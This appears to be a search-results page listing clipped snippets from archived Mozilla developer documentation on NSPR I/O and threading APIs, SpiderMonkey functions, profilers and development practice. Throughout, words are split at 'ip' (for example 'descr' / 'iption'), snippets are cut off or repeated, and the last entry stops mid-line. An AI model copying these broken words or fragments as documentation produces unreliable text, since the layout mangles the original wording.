ip not implemented. see bug 544001. semantics implemented. original document information author(s): frederic wang other contributors: copyright information: portions of this content are (c) 2010 by individual mozilla.org contributors; content available under a creative commons license | details. ...
Mozilla Development Strategies
rstanding your own. test your code qa's job is to assure quality, not to add quality. that's your job. it's your responsibility to find and fix the problems in your code before checking in. when you land your bug-free code, it's qa's job to assure others that it's really bug free. make sure you appreciate anyone who finds a bug in your code. appreciate it even more if they find it before you sh
ip. they're giving you a second chance to get it right before it becomes a bug that affects users. minimize how you are affected by regressions unless you are the type to go out and tackle daily regressions, you need to find a way to not let them affect you. you don't want to have one tree, update it every morning, and then be stuck waiting for blockers to clear. have mult
iple trees. at least one...
...hout updating your tree, the more likely you are to have cvs conflicts. if you update every day for a week, you might not have any conflicts, but if you update once a week and you've changed a lot of code, you'll most likely have conflicts. see mozilla\config\fast-update.pl for a fast way to update your tree. you can update your main mozilla tree (minus nsprpub, etc) in 1-2 minutes. work on mult
iple bugs in parallel you should be working on the most important bugs first. but those might be difficult bugs (hard to reproduce crashers, big rewrites for performance, etc.) which can take several days or weeks to complete, plus the time for reviews. in your other trees, work on smaller, easier bugs. pick bugs that won't cause conflicts with the work you're doing in your primary tree. pick bugs ...
Mozilla Quirks Mode Behavior
(firefox 8.0 / thunderbird 8.0 / seamonkey 2.5) text-decoration in quirks mode had line thickness and position adjusted on descendant text to match the descendant. tables td, th, tr, thead, tbody, and tfoot elements have the document background (and color?) applied to them (when the document background is specified in certain ways?) (see also bug 70831). [this may have been an accurate descr
iption when written in june 2001, but no longer appears accurate. should look into tablequirkcolorrule, re-describe, and figure out when it changed.] obsolete since gecko 37 the empty-cells property defaulted to hide in quirks mode but show (according to css2.1) in standards mode (see bug 33244) (though the correct fix would be to specify it on the html table element in quirk.css). this quirk has b...
...e intentionally not handled as described in html4 (bug 9879). hspace and vspace are supported on table only in quirks mode (bug 41893). proposed to remove: bug 725646. in quirks mode, when tables have a border style of inset or outset, the border color is based on the background color of the table or of the nearest ancestor with non-transparent background. [this may have been an accurate descr
iption when written in june 2001, but it no longer appears correct. i don't follow the code in nscssrenderingborders well enough to tell, though.] in quirks mode a fixed width specified on a table cell resets the nowrap attribute. if the nowrap attribute is present the cell width will never be smaller than the specified fixed width (bug 277232). in quirks mode, tables with no rows/rowgroups have z...
Mozilla Style System Documentation
orrespond to elements in the content model and formatting objects that correspond to pseudo-elements. (mozilla has a bunch of its pseudo-elements that are not in the css specification.) we also create style contexts for some things that are not css formatting objects: text nodes and placeholder frames. these three types of style contexts correspond to the three ways of creating a style context: ns
iprescontext::resolvestylecontextfor, ns
iprescontext::resolvepseudostylecontextfor, and.ns
iprescontext::resolvestylecontextfornonelement there is also a fourth method, ns
iprescontext::probepseudostylecontextfor, which creates a style context only if there are style rules that match the pseudo-element. this is useful for the pseudo-elements defined in the css specification (:before, :after, :first-li...
... not given, the style context is taken to be the root of the style context tree. the functions that form the style context automatically adds the context to the tree correctly. dynamic changes describe nsframemanager::reresolvestylecontext and nsiframe::getparentstylecontextframe ...</p> describe nscssframeconstructor::attributechanged hack for style attribute that avoids style context tree man
ipulation. problems: dynamic style changes scrap the whole thing and start over. this is very hard to fix because of the "sibling-sharing" optimisation. matters dealing with dynamic style changes are also tricky because the style contexts don't have pointers to their frames, but instead, we have the reverse and is probably the biggest flaw in the design of this part of the system. getting style da...
JS::PerfMeasurement
even modify. all presently-measurable events are measured with counters, not timers; that is, there is no defined relation between the numbers you get from this interface, and wall-clock time. perfmeasurement* js::extractperfmeasurement(jsval wrapper) if you are the c++ side of an xpcom interface, and you want to benchmark only part of your execution time but make the results available to javascr
ipt, you can declare a bare jsval argument in your .idl file and have javascr
ipt pass a perfmeasurement object that it created in that argument slot. the jsval you receive points to a javascr
ipt wrapper object. to extract the c++-level perfmeasurement object, call this function. it will return null if javascr
ipt passed in something with the wrong dynamic type. jsobject* js::registerperfmeasuremen...
...nt slot. the jsval you receive points to a javascr
ipt wrapper object. to extract the c++-level perfmeasurement object, call this function. it will return null if javascr
ipt passed in something with the wrong dynamic type. jsobject* js::registerperfmeasurement(jscontext* cx, jsobject* global) you shouldn't need to use this function, but we mention it for completeness. it initializes the javascr
ipt wrapper interface for this api and pokes the constructor function into the global object you provide. ...
Memory Profiler
in the profiler panel. start - start profiling stop - stop profiling reset - clear profile data when profiler is stopped profile data is accumulated and resumed after start. use reset to start a new recording. understanding the profiles traditional memory analysis tools look at the data. they build the referring-to, namely retaining graphs. this is helpful in exploring the relationsh
ips among objects and identifying memory leaks. however, the information exposed in this way is usually a snapshot and the history of how memory has been used goes missing. moreover, they usually don't keep tracks of how objects are allocated. developers have to infer how an object might be allocated and freed by himself/herself. another common approach is to plot the allocations or the memory usag...
...tracks of how objects are allocated. developers have to infer how an object might be allocated and freed by himself/herself. another common approach is to plot the allocations or the memory usages along the timeline. this gives some intuition of how and when a bulk of objects are allocated. however, it still relies on developers' wisdom, and sometimes chances, to dig out the problematical code sn
ippet. this memory profiler is designed to solve the inconveniences and limitations. the goal is to identify the memory eager codes directly. the profiler is designed at the very beginning to support not only javascr
ipt but also native codes. naturally, not only javascr
ipt objects but also native allocations are tracked. the profile while recording is stored in memory in a very compact format. it'...
Profiling with the Gecko Profiler and Local Symbols on Windows
is still the default when building firefox locally. you need to add the lines ac_add_options --target=x86_64-pc-mingw32 and ac_add_options --host=x86_64-pc-mingw32 to your mozconfig in order to build a 64 bit build of firefox. profiling local talos runs if you would like to use the gecko profiler with a local talos run of a local build of firefox for windows, you will need to point talos to a z
ipfile containing breakpad-style symbols for your build. follow the steps below: note: you only need to do this if you're on windows and you've built firefox yourself. for any official release of firefox (nightly, beta, etc), you do not need to use these steps. make sure you don't have ac_add_options --disable-crashreporter in your firefox .mozconfig file. if you're building a beta or release c...
... on nightly. build firefox as usual, e.g. using ./mach build. generate the breakpad symbol files by running ./mach buildsymbols: https://developer.mozilla.org/en/building_firefox_with_debug_symbols#breakpad_symbol_files this will have created symbols under $objdir/dist/ , named after the binary name, architecture and version, so something like "firefox-40.0a1.en-us-win32.crashreporter-symbols.z
ip" point talos to this z
ipfile by passing its path to the --symbolspath flag. ...
Profile Manager
irefox" button: firefox will be launched with that profile, and profile manager will terminate. the version of firefox which will be launched is indicated in the "firefox version" dropdown in the launch options box: there are several additional launch options available for firefox. these cause firefox to be launched with various command-line arguments. see command line options for a descr
iption of these. launch option command line argument run firefox in offline mode -offline run firefox in safe mode -safe-mode start firefox with a console -console start new instance -no-remote note: it isn't possible to start a second instance of firefox without passing it the -no-remote command line argument. for this reason,...
...: to restore a profile: select the backup in the main display, open the context menu, and choose "restore". when you restore a profile, the backup is retained, so you can restore from the same backup at a later date. to delete a backup: select the backup in the main display, open the context menu, and choose "delete". profile archives profile manager can also backup to and restore from .z
ip archives. profile manager does not track these backups in the ui, but using profile archives is an easy way to move profiles between machines. to backup a profile to an archive: select the profile you want to backup, and choose "backup to->archive" from the toolbar's backup menu. you'll be prompted for a name and location for the archive. to create a profile from a profile archive: select "...
JSHydra
documentation installing jshydra download, installation and dependency info for jshydra community view jshydra forums... ...
... documentation installing jshydra download, installation and dependency info for jshydra community view jshydra forums... ...
L20n
introducing l20n l20n reinvents software localization. users should be able to benefit from the entire expressive power of the natural language. l20n keeps simple things simple, and at the same time makes complex things possible. through l20n, mozilla is creating a new generation of technology that places more power in localizers' hands. ...
...refoxu", instrumental: "firefoxom" }> <about "o {{ brandname.locative }}"> for developers documentation for developers wanting to implement localization functionality on their web apps using l20n. internationalization for your web app first read for developers looking to use the l20n infrastructure. l20n's html bindings tutorial on implementing l20n in your html code. l20n javascr
ipt api an api for l20n.js. l20n syntax cheatsheet for developers a simple cheatsheet to help developers as they add l20n to their localization infrastructure. for localizers documentation for localizers creating localized content for a project that uses l20n. learn the l20n syntax how to naturally localize applications using l20n. complete with use cases and examples of l20n in action. ...
MailNews automated testing
e (and link to) the available test mechanisms within mailnews, and provide supporting information for developers and testers. functional testing xpcshell-tests and make check these are core test harnesses to which mailnews adds its own tests. these tests are run against almost every changeset that gets committed to the thunderbird and seamonkey code bases. xpcshell-tests are run in javascr
ipt without any chrome present. this makes them especially useful for testing at the component / module level. xpcshell-tests are the quickest tests to run. mailnews provides additional facilities as described on the mailnews automated testing page (see below). "make check" is used to run compiled code tests. these tests can go beyond the limitations of xpcshell-tests (for example, access c++ code)...
...f writing tests that involve asynchronous operations by using generators. in the long term we would like to lose this extra complexity in favor of the event-loop-spinning style of operation used by mozmill. message synthesis: create messages by specifying what properties the messages should have. message injection: inject synthesized messages via local or imap (using a fake server). message man
ipulation: mark messages as read, tag them, untag them, move them to other folders, trash them, etc. enhanced logging: supports generating rich json streams to disk or over the network for consumption by logsploder or other tools. performance testing mail leak and bloat tests these tests start up thunderbird or seamonkey and record any leaks found, as well as the total memory requirement. altho...
McCoy
ts so the applications can verify the integrity of a manifest retrieved over normally insecure channels. if you want to learn about the technical details of mccoy then visit the project wiki. installing mccoy to use mccoy you need to download and install it. mccoy is provided in the standard package for your operating system, just extract it where you like and run it. mccoy-0.5.en-us.win32.z
ip (windows) mccoy-0.5.en-us.linux-i686.tar.bz2 (linux) mccoy-0.5.en-us.mac.dmg (mac os x universal) there are some known issues with running mccoy on linux. it will not run on older versions of linux and there are known problems even on up to date systems. we hope to resolve this for the next release - or around the year 2100. uninstalling mccoy to uninstall mccoy simply delete the applicatio...
... but it is planned to add this support in the future. however, there are several external and unofficial tools which enable signing from command line: uhura - part of the mxtools package from softlights http://www.softlights.net/projects/mxtools/uhura.html signontheline - an extension to mccoy - important: you have to checkout rev 222, later revisions are not working in mccoy! https://firecl
ipse.svn.sourceforge.net/svnroot/firecl
ipse/trunk/firecl
ipseextensions/chromebug/mccoy/signontheline/ bug 396525 - patch to mccoy https://bugzilla.mozilla.org/show_bug.cgi?id=396525 signing update manifests before you release your add-on in order to verify the update manifests applications need to already have information from you for how to verify it. this is in the form of the public part o...
NSPR Contributor Guide
t a new api with a different name. c language api the nspr api is a c language api. please do not contribute java, c or other language wrappers. coding style nspr does not have a documented coding style guide. look at the extant code. make yours look like that. some guidelines concerning naming conventions can be found in nspr naming conventions in the nspr reference. see also: xxx ownersh
ip of your contribution when you contribute something to nspr, you must have intellectual property rights to that contribution. this means that you cannot give us something you snatched from somewhere else;. it must be your own invention, free and clear of encumberment of anyone or anything else; pay close attention to the rights of your "day-job" employer. if you snatched it from somewhere else, t...
... candidate for inclusion in nspr; we may give you suggestions on what would make it more generalized, hence a good candidate for inclusion in nspr. use bugzilla to track your work. be verbose. nspr wants you to document your work. if we accept it, we are going to have to answer questions about it and/or maintain it. these are some guidelines for new apis that you may add to nspr. header file descr
iptions. provide header file descr
iptions that fully document your public typedefs, enums, macros and functions. see: prshm.h as an example of how your header file(s) should be documented. source file descr
iptions. provide descr
iptive documentation in your source (*.c) files. alas, we have no source files documented as we think they should be. the following are some general guidelines to use when im...
NSPR build instructions
ix command-line utility suite such as mks toolkit, cygwin, and msys. the easiest way to get these tools is to install the mozillabuild package. introduction the top level of the nspr source tree is the mozilla/nsprpub directory. although nsprpub is a subdirectory under mozilla, nspr is independent of the mozilla client source tree. ...
... source tree. building nspr consists of three steps: run the configure scr
ipt. you may override the compilers (the cc environment variable) or specify options. build the libraries build the test programs for example, # check out the source tree from mercurial hg clone https://hg.mozilla.org/projects/nspr # create a build directory mkdir target.debug cd target.debug # run the configure scr
ipt ../nspr/configure [optional configure options] # build the libraries gmake # build the test programs cd pr/tests gmake on mac os x, use make, which is gnu make. configure options although nspr uses autoconf, its configure scr
ipt has two default values that are different from most open source projects. if the os vendor provides a compiler (for example, sun and hp), nspr uses that compiler ...
Condition Variables
associated with a single monitor, which typically consists of a mutex, one or more condition variables, and the monitored data. the association between a condition and a monitor is established when a condition variable is created, and the association persists for its life. in addition, a static association exists between the condition and some data within the monitor. this data is what will be man
ipulated by the program under the protection of the monitor. a call to pr_waitcondvar causes a thread to block until a specified condition variable receives notification of a change of state in its associated monitored data. other threads may notify the condition variable when changes occur. for an introduction to nspr thread synchronization, including locks and condition variables, see introducti...
...ange of state in its associated monitored data. other threads may notify the condition variable when changes occur. for an introduction to nspr thread synchronization, including locks and condition variables, see introduction to nspr. for reference information on nspr locks, see locks. nspr provides a special type, prmonitor, for use with java. unlike a mutex of type prlock, which can have mult
iple associated condition variables of type prcondvar, a mutex of type prmonitor has a single, implicitly associated condition variable. for information about prmonitor, see monitors. condition variable type prcondvar condition variable functions pr_newcondvar pr_destroycondvar pr_waitcondvar pr_notifycondvar pr_notifyallcondvar ...
I/O Types
mon nspr types, enumerations, and structures used with the functions described in i/o functions and network addresses. these include the types used for system access, normal file i/o, and socket (network) i/o. types unique to a particular function are described with the function itself. for sample code that illustrates basic i/o operations, see introduction to nspr. directory type file descr
iptor types file info types network address types types used with socket options functions type used with memory-mapped i/o offset interpretation for seek functions directory type prdir file descr
iptor types nspr represents i/o objects, such as open files and sockets, by file descr
iptors of type prfiledesc. this section introduces prfiledesc and related types. prfiledesc priomethods...
... prfiledesc structures for the layers are chained together. each prfiledesc structure has a field (of type prdescidentity) to identify itself in the layers. ...
Monitors
with a mutex of type prmonitor, a single thread may re-enter a monitor as many times as it sees fit. the first time the thread enters a monitor, it acquires the monitor's lock and the thread's entry count is incremented to 1. ...
... with a mutex of type prmonitor, a single thread may re-enter a monitor as many times as it sees fit. the first time the thread enters a monitor, it acquires the monitor's lock and the thread's entry count is incremented to 1. ...
Named Shared Memory
the nspr shared memory api provides a cross-platform named shared-memory interface that is modeled on similar constructs in the unix and windows operating systems. shared memory protocol named shared memory functions shared memory protocol using named shared memory functions pr_opensharedmemory creates the shared memory segment, if it does not already exist, or opens a connection with the existing shared memory segment if it already exists. ...
...all pr_deletesharedmemory, any further use of the shared memory associated with the name may cause unpredictable results. filenames the name passed to pr_opensharedmemory should be a valid filename for a unix platform. pr_opensharedmemory creates file using the name passed in. some platforms may mangle the name before creating the file and the shared memory. the unix implementation may use sysv
ipc shared memory, posix shared memory, or memory mapped files; the filename may be used to define the namespace. on windows, the name is significant, but there is no file associated with the name. no assumptions about the persistence of data in the named file should be made. depending on platform, the shared memory may be mapped onto system paging space and be discarded at process termination. al...
PRFileDesc
a file descr
iptor used to represent any open file, such as a normal file, an end point of a p
ipe, or a socket (end point of network communication). syntax #include <prio.h> struct prfiledesc { priomethods *methods; prfileprivate *secret; prfiledesc *lower, *higher; void (*dtor)(prfiledesc *fd); prdescidentity identity; }; typedef struct prfiledesc prfiledesc; parameters methods the i/o methods table. see priomethods. secret layer-dependent implementation data. see prfileprivate. lower pointer to lower layer. higher pointer to higher layer. dtor a destructor function for the layer. identity identity of this particular layer. see prdescidentity. ...
...(prfiledesc *fd); prdescidentity identity; }; typedef struct prfiledesc prfiledesc; parameters methods the i/o methods table. see priomethods. secret layer-dependent implementation data. see prfileprivate. lower pointer to lower layer. higher pointer to higher layer. dtor a destructor function for the layer. identity identity of this particular layer. see prdescidentity. descr
iption the fields of this structure are significant only if you are implementing a layer on top of nspr, such as ssl. otherwise, you use functions such as pr_open and pr_newtcpsocket to obtain a file descr
iptor, which you should treat as an opaque structure. for more details about the use of prfiledesc and related structures, see file descr
iptor types. ...
PRThreadScope
adscope. syntax #include <prthread.h> typedef enum prthreadscope { pr_local_thread, pr_global_thread pr_global_bound_thread } prthreadscope; enumerators pr_local_thread a local thread, scheduled locally by nspr within the process. pr_global_thread a global thread, scheduled by the host os. pr_global_bound_thread a global bound (kernel) thread, scheduled by the host os descr
iption an enumerator of type prthreadscope specifies how a thread is scheduled: either locally by nspr within the process (a local thread) or globally by the host (a global thread). global threads are scheduled by the host os and compete with all other threads on the host os for resources. they are subject to fairly sophisticated scheduling techniques. local threads are scheduled by nspr within t...
...: either locally by nspr within the process (a local thread) or globally by the host (a global thread). global threads are scheduled by the host os and compete with all other threads on the host os for resources. they are subject to fairly sophisticated scheduling techniques. local threads are scheduled by nspr within the process. the process is assumed to be globally scheduled, but nspr can man
ipulate local threads without system intervention. in most cases, this leads to a significant performance benefit. however, on systems that require nspr to make a distinction between global and local threads, global threads are invariably required to do any form of i/o. if a thread is likely to do a lot of i/o, making it a global thread early is probably warranted. on systems that don't make a dis...
PR_AcceptRead
accepts a new connection and receives a block of data. syntax #include <prio.h> print32 pr_acceptread( prfiledesc *listensock, prfiledesc **acceptedsock, prnetaddr **peeraddr, void *buf, print32 amount, printervaltime timeout); parameters the function has the following parameters: listensock a pointer to a prfiledesc object representing a socket descr
iptor that has been called with the pr_listen function, also known as the rendezvous socket. acceptedsock a pointer to a pointer to a prfiledesc object. on return, *acceptedsock points to the prfiledesc object for the newly connected socket. this parameter is valid only if the function return does not indicate failure. peeraddr a pointer a pointer to a prnetaddr object. on return, peeraddr points to the address of the ...
... timeout the timeout interval only applies to the read portion of the operation. pr_acceptread blocks indefinitely until the connection is accepted; the read will time out after the timeout interval elapses. returns a positive number indicates the number of bytes read from the peer. the value -1 indicates a failure. the reason for the failure can be obtained by calling pr_geterror. descr
iption pr_acceptread accepts a new connection and retrieves the newly created socket's descr
iptor and the connecting peer's address. also, as its name suggests, pr_acceptread receives the first block of data sent by the peer. ...
PR_ConnectContinue
syntax #include <prio.h> prstatus pr_connectcontinue( prfiledesc *fd, print16 out_flags); parameters the function has the following parameters: fd a pointer to a prfiledesc object representing a socket. out_flags the out_flags field of the poll descr
iptor returned by pr_poll(). returns if the nonblocking connect has successfully completed, pr_connectcontinue returns pr_success. if pr_connectcontinue() returns pr_failure, call pr_geterror(): - pr_in_progress_error: the nonblocking connect is still in progress and has not completed yet. the caller should poll the file descr
iptor for the in_flags pr_poll_write|pr_poll_except and retry pr_connectcontinue later when pr_poll() returns. - other errors: the nonblocking connect has failed with this error code. ...
... pr_connectcontinue() returns pr_failure, call pr_geterror(): - pr_in_progress_error: the nonblocking connect is still in progress and has not completed yet. the caller should poll the file descr
iptor for the in_flags pr_poll_write|pr_poll_except and retry pr_connectcontinue later when pr_poll() returns. - other errors: the nonblocking connect has failed with this error code. descr
iption continue a nonblocking connect. after a nonblocking connect is initiated with pr_connect() (which fails with pr_in_progress_error), one should call pr_poll() on the socket, with the in_flags pr_poll_write | pr_poll_except. when pr_poll() returns, one calls pr_connectcontinue() on the socket to determine whether the nonblocking connect has completed or is still in progress. repeat the pr_poll...
PR_GetDescType
describes what type of file is referenced by a specified file descr
iptor. syntax #include <prio.h> prdesctype pr_getdesctype(prfiledesc *file); parameter the function has the following parameter: file a pointer to a prfiledesc object whose descr
iptor type is to be returned. returns the function returns a prdesctype enumeration constant that describes the type of file. descr
iption the prdesctype enumeration is defined as follows: typedef enum prdesctype { pr_desc_file = 1, pr_desc_socket_tcp = 2, pr_desc_socket_udp = 3, pr_desc_layered = 4 } prdesctype; the enumeration has the following enumerators: pr_desc_file the prfiledesc object represents a normal file. pr_desc_socket_tcp the prfiledesc object represents a tcp socket. pr_desc_socket_udp the pr...
... ...
PR_GetHostByAddr
buf a pointer to a buffer, allocated by the caller, that is filled in with host data on output. all of the pointers in the hostentry structure point to data saved in this buffer. ...
...eter. the buffer must be at least pr_netdb_buf_size bytes. hostentry this structure is allocated by the caller. on output, this structure is filled in by the runtime if the function returns pr_success. returns the function returns one of the following values: if successful, pr_success. if unsuccessful, pr_failure. you can retrieve the reason for the failure by calling pr_geterror. descr
iption pr_gethostbyaddr is used to perform reverse lookups of network addresses. that is, given a valid network address (of type prnetaddr), pr_gethostbyaddr discovers the address' primary name, any aliases, and any other network addresses for the same host. ...
PR_Interrupt
sets the interrupt request for a target thread. syntax #include <prthread.h> prstatus pr_interrupt(prthread *thread); parameter pr_interrupt has the following parameter: thread the thread whose interrupt request you want to set. returns the function returns one of the following values: if the specified thread is currently blocked, pr_success. otherwise, pr_failure. descr
iption the purpose of pr_interrupt is to request that a thread performing some task stop what it is doing and return to some control point. it is assumed that a control point has been mutually arranged between the thread doing the interrupting and the thread being interrupted. when the interrupted thread reaches the prearranged point, it can communicate with its peer to discover the real reason behind the...
... the maximum delay is 0.1 seconds. file i/o is considered instantaneous, so file i/o functions cannot be interrupted. unfortunately the standard input, output, and error streams are treated as files by nspr, so a pr_read call on pr_stdin cannot be interrupted even though it may block indefinitely. in the nt implementation, pr_connect cannot be interrupted. in the nt implementation, a file descr
iptor is not usable and must be closed after an i/o function on the file descr
iptor is interrupted. see the memo using io timeout and interrupt on nt for details. ...
PR_NewUDPSocket
creates a new udp socket. syntax #include <prio.h> prfiledesc* pr_newudpsocket(void); returns the function returns one of the following values: upon successful completion, a pointer to the prfiledesc object created for the newly opened udp socket. if the creation of a new udp socket failed, null. descr
iption udp (user datagram protocol) is a connectionless, unreliable datagram protocol of the tcp/
ip protocol suite. udp datagrams may be lost or delivered in duplicates or out of sequence. pr_newudpsocket creates a new udp socket. the socket may be bound to a well-known port number with pr_bind. datagrams can be sent with pr_sendto and received with pr_recvfrom. when the socket is no longer needed, it should be closed with a call to pr_close. see also pr_newudpsocket is depreca...
...ams may be lost or delivered in duplicates or out of sequence. pr_newudpsocket creates a new udp socket. the socket may be bound to a well-known port number with pr_bind. datagrams can be sent with pr_sendto and received with pr_recvfrom. when the socket is no longer needed, it should be closed with a call to pr_close. see also pr_newudpsocket is deprecated because it is hardcoded to create an
ipv4 udp socket. new code should use pr_openudpsocket instead, which allows the address family (
ipv4 or
ipv6) of the new udp socket to be specified. ...
PR_SetConcurrency
creates extra virtual processor threads. generally used with mp systems. syntax #include <prinit.h> void pr_setconcurrency(pruintn numcpus); parameter pr_setconcurrency has one parameter: numcpus the number of extra virtual processor threads to be created. descr
iption setting concurrency controls the number of virtual processors that nspr uses to implement its m x n threading model. the m x n model is not available on all host systems. on those where it is not available, pr_setconcurrency is ignored. ...
...pr uses to implement its m x n threading model. the m x n model is not available on all host systems. on those where it is not available, pr_setconcurrency is ignored. virtual processors are actuallyglobal threads, each of which is designed to support an arbitrary number oflocal threads. since global threads are scheduled by the host operating system, this model is particularly applicable to mult
iprocessor architectures, where true parallelism is possible. however, it may also prove advantageous on un
iprocessor systems to reduce the impact of having a locally scheduled thread calling incidental blocking functions. in such cases, all the threads being supported by the virtual processor will block, but those assigned to another virtual processor will be unaffected. ...
PR_StringToNetAddr
tringtonetaddr( const char *string, prnetaddr *addr); parameters the function has the following parameters: string the string to be converted. addr on output, the equivalent network address. returns the function returns one of the following values: if successful, pr_success. if unsuccessful, pr_failure. you can retrieve the reason for the failure by calling pr_geterror. ...
...dr( const char *string, prnetaddr *addr); parameters the function has the following parameters: string the string to be converted. addr on output, the equivalent network address. returns the function returns one of the following values: if successful, pr_success. if unsuccessful, pr_failure. you can retrieve the reason for the failure by calling pr_geterror. descr
iption for
ipv4 addresses, the input string represents numbers in the internet standard "." notation.
ipv6 addresses are indicated as strings using ":" characters separating octets, with numerous caveats for shortcutting (see rfc #1884). if the nspr library and the host are configured to support
ipv6, both formats are supported. otherwise, use of anything other than
ipv4 dotted notation results in an error. ...
JS_EncodeCharacters
obsolete since jsapi 19this feature is obsolete. although it may still work in some browsers, its use is discouraged since it could be removed at any time. try to avoid using it. convert a 16-bit string to an 8-bit string. syntax jsbool js_encodecharacters(jscontext *cx, const jschar *src, size_t srclen, char *dst, size_t *dstlen); name type descr
iption cx jscontext * a context. src const jschar * the pointer to 16-bit values of jsstring. this can be obtained with js_getstringchars. srclen size_t the length of the source string, in 16-bit values. dst const char * the pointer to an array of bytes to be filled with encoded characters; or null. the caller is responsible for allocating ...
...ll. the caller is responsible for allocating and freeing this buffer. dstlenp size_t * in/out parameter. on entry, if dst is non-null, *dstlenp must be the length of the destination string in 16-bit units. on success, *dstlenp receives the length of the converted string, in bytes. on failure, *dstlenp receives the number of bytes written to dst before the error occurred. descr
iption js_encodecharacters copies the characters of a jschar array into a char array, converting the 16-bit values to 8-bit values. if spidermonkey was built with js_c_strings_are_utf8 defined or js_setcstringsareutf8 was called, the string is converted to utf-8. otherwise each character is simply truncated to 8 bits. if utf-8 is turned on, the length of the encoded string may vary. to calculate t...
JS_EncodeString
this article covers features introduced in spidermonkey 1.8 convert a javascr
ipt string to a c string. syntax char * js_encodestring(jscontext *cx, jsstring *str); char * js_encodestringtoutf8(jscontext *cx, js::handlestring str); // added in spidermonkey 24 name type descr
iption cx jscontext * a context. requires request. in a js_threadsafe build, the caller must be in a request on this jscontext.. str jsstring * / js::handlestring a string to encode. descr
iption js_encodestring and js_encodestringtoutf8 convert the specified javascr
ipt str to a c string (an array of 8-bit chars). if js_cstringsareutf8 is true, then the returned string of js_encodestring is utf-8, and the conversion is lossless. otherwise the high byte is ...
...gtoutf8 encode the string to utf-8. the array returned by js_encodestring on success is allocated as though by a call to js_malloc. the caller may modify it and is responsible for freeing it. note that for non-ascii strings, if js_cstringsareutf8 is false, these functions can return a corrupted copy of the contents of the string. use js_getstringchars to access the 16-bit characters of a javascr
ipt string without conversions or copying. on success, js_encodestring and js_encodestringtoutf8 return a pointer to the char array, which is null-terminated. on failure, js_encodestring and js_encodestringtoutf8 return null see also mxr id search for js_encodestring mxr id search for js_encodestringtoutf8 js_encodestringtobuffer bug 397215 - added js_encodestring bug 835719 - added js_enc...
JS_EnumerateDiagnosticMemoryRegions
this article covers features introduced in spidermonkey 17 enumerate memory regions that contain diagnostic information.. syntax void js_enumeratediagnosticmemoryregions(jsenumeratediagnosticmemorycallback callback); name type descr
iption callback jsenumeratediagnosticmemorycallback pointer to the new callback function to use. ...
...gnostic information.. syntax void js_enumeratediagnosticmemoryregions(jsenumeratediagnosticmemorycallback callback); name type descr
iption callback jsenumeratediagnosticmemorycallback pointer to the new callback function to use. callback syntax typedef bool (* jsenumeratediagnosticmemorycallback)(void *ptr, size_t length); name type descr
iption ptr void * pointer to the allocated memory. length size_t length of the allocated memory. descr
iption js_enumeratediagnosticmemoryregions enumerates memory regions that contain diagnostic information intended to be included in crash report minidumps. see also mxr id search for js_enumeratediagnosticmemoryregions mxr id search for jsenumeratediagnosti...
JS_ExecuteRegExp
requires request. in a js_threadsafe build, the caller must be in a request on this jscontext. obj js::handleobject a pointer to a global object. reobj js::handleobject a pointer to a regexp object. chars const char16_t * a pointer to the string contains a input string. length size_t ...
...gth of bytes or chars, in characters. indexp size_t * in/out parameter. a pointer to the lastindex for the execution, and received the updated lastindex. test bool pass true to avoid creating match result array and store boolean value to rval. rval js::mutablehandlevalue out parameter. receives the result match result array or boolean value. descr
iption js_executeregexp and js_newregexpobjectnostatics execute the regexp object, reobj, to the specified input string, chars, from *indexp index. if test is false, js_executeregexp and js_newregexpobjectnostatics store the match result array to *rval if matches, otherwise stores null to *rval. if test is true, js_executeregexp and js_newregexpobjectnostatics store the boolean value true to *rval ...
JS_FS
ame,nargs,flags) ... // added in spidermonkey 31 #define js_self_hosted_sym_fn(symbol, selfhostedname, nargs, flags) ... // added in spidermonkey 38 #define js_sym_fnspec(symbol, call, info, nargs, flags, selfhostedname) ... // added in spidermonkey 38 #define js_fnspec(name,call,info,nargs,flags,selfhostedname) ... // added in spidermonkey 31 #define js_fs_end ... name type descr
iption name const char * the javascr
ipt name for the function. (or index, if jsprop_index is present in flags) symbol a member name of js::symbolcode the javascr
ipt symbol for the function. call jsnative pointer to the c/c++ implementation of the function. info const jsjitinfo * pointer to the jit info. nargs uint16_t the num...
...for the function. call jsnative pointer to the c/c++ implementation of the function. info const jsjitinfo * pointer to the jit info. nargs uint16_t the number of arguments the function expects. flags uint16 the bitwise or of any number of function flags. selfhostedname const char * the function's name in self-hosted javascr
ipt code. descr
iption use these macros to define an array of jsfunctionspecs to pass to js_definefunctions or js_initclass. js_fn (whose name pays homage to the old jsnative/jsfastnative split) simply adds the flag jsfun_stub_gsops. js_fninfo allows the simple adding of jsjitinfos. js_self_hosted_fn declares a self-hosted function. finally js_fnspec has slots for all the fields. the _sym varia...
JS_ForwardGetPropertyTo
roperty and retrieve its value. syntax bool js_forwardgetpropertyto(jscontext *cx, js::handleobject obj, js::handleid id, js::handleobject onbehalfof, js::mutablehandlevalue vp); bool js_forwardgetelementto(jscontext *cx, js::handleobject obj, uint32_t index, js::handleobject onbehalfof, js::mutablehandlevalue vp); name type descr
iption cx jscontext * a context. requires request. in a js_threadsafe build, the caller must be in a request on this jscontext. obj js::handleobject object to search on for the property. id or index js::handleid or uint32_t name or index of the property to look up. onbehalfof js::handleobject object to receive getter invocation. vp...
...:handleobject object to search on for the property. id or index js::handleid or uint32_t name or index of the property to look up. onbehalfof js::handleobject object to receive getter invocation. vp js::mutablehandlevalue out parameter. on success, *vp receives the current value of the property, or undefined if no such property is found. descr
iption js_forwardgetpropertyto is the base implementation of js_getproperty, js_getucproperty, js_getpropertybyid etc, where onbehalfof is same to obj. onbehalfof is receiver in [[get]] internal method of proxy, defined in es2015 draft spec (rev 29, 9.5.8). on success, these functions set *vp to the current value of the property, or undefined if obj has no such property, and return true. on an er...
JS_FreezeObject
this article covers features introduced in spidermonkey 1.8.5 freeze an object. syntax bool js_freezeobject(jscontext *cx, js::handle<jsobject*> obj); name type descr
iption cx jscontext * the context. requires request. in a js_threadsafe build, the caller must be in a request on this jscontext. obj js::handle<jsobject*> an object to freeze. descr
iption freezes an object. ...
...ontext * the context. requires request. in a js_threadsafe build, the caller must be in a request on this jscontext. obj js::handle<jsobject*> an object to freeze. descr
iption freezes an object. ...
JS_GET_CLASS
uld be removed at any time. try to avoid using it. retrieves the class associated with an object. this macro was removed in spidermonkey 1.8.8 when the signature of js_getclass() was changed to take only an object pointer. syntax #ifdef js_threadsafe #define js_get_class(cx,obj) js_getclass(cx, obj) #else #define js_get_class(cx,obj) js_getclass(obj) #endif parameter type descr
